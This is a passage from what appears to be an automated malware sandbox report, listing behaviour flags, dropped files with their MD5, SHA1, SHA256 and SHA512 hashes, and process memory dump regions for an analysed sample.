              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:3408

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3u2xgg1t.mdd.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Unfasciated.Hol
      Filesize

      470KB

      MD5

      98074e97335a66b5889ef02ae6a4cb15

      SHA1

      2bcb63391d386eea8c04aa7d2421d6931a1aeb4b

      SHA256

      6be3ea2cf58c974a4775ac67d8e2bc601c24ad7d5fb4a33fc0451fc7fffa64fb

      SHA512

      2526aa62c56ddb62b03e7c897d2ba9eb17b15d21dca1b4dacc8f025ecbbb3e59803975dd5c0f4c1a957d5a7ba8226945ffed7028bad0578405c7c55ecb4eb12c

      Download Submit

    • memory/684-17-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/684-12-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/684-61-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/684-14-0x00007FFE63773000-0x00007FFE63775000-memory.dmp

      Filesize

      8KB

      Download

    • memory/684-42-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/684-0-0x00007FFE63773000-0x00007FFE63775000-memory.dmp

      Filesize

      8KB

      Download

    • memory/684-1-0x000001B6687C0000-0x000001B6687E2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/684-15-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/684-11-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2388-20-0x0000000005340000-0x0000000005362000-memory.dmp

      Filesize

      136KB

      Download

    • memory/2388-39-0x00000000085F0000-0x0000000008B94000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/2388-37-0x00000000074B0000-0x0000000007546000-memory.dmp

      Filesize

      600KB

      Download

    • memory/2388-33-0x0000000006210000-0x000000000622E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/2388-34-0x0000000006240000-0x000000000628C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/2388-21-0x0000000005A70000-0x0000000005AD6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/2388-19-0x00000000053D0000-0x00000000059F8000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/2388-32-0x0000000005CD0000-0x0000000006024000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/2388-38-0x0000000007440000-0x0000000007462000-memory.dmp

      Filesize

      136KB

      Download

    • memory/2388-22-0x0000000005AE0000-0x0000000005B46000-memory.dmp

      Filesize

      408KB

      Download

    • memory/2388-18-0x0000000004C80000-0x0000000004CB6000-memory.dmp

      Filesize

      216KB

      Download

    • memory/2388-41-0x0000000008BA0000-0x0000000009A83000-memory.dmp

      Filesize

      14.9MB

      Download

    • memory/2388-36-0x0000000007360000-0x000000000737A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/2388-35-0x00000000079C0000-0x000000000803A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/3408-57-0x0000000001240000-0x0000000002494000-memory.dmp

      Filesize

      18.3MB

      Download

    • memory/3408-58-0x0000000001240000-0x0000000001280000-memory.dmp

      Filesize

      256KB

      Download

    • memory/3408-43-0x00000000024A0000-0x0000000003383000-memory.dmp

      Filesize

      14.9MB

      Download

    • memory/3408-63-0x00000000218F0000-0x0000000021940000-memory.dmp

      Filesize

      320KB

      Download

    • memory/3408-64-0x0000000021F90000-0x0000000022022000-memory.dmp

      Filesize

      584KB

      Download

    • memory/3408-65-0x00000000219C0000-0x00000000219CA000-memory.dmp

      Filesize

      40KB

      Download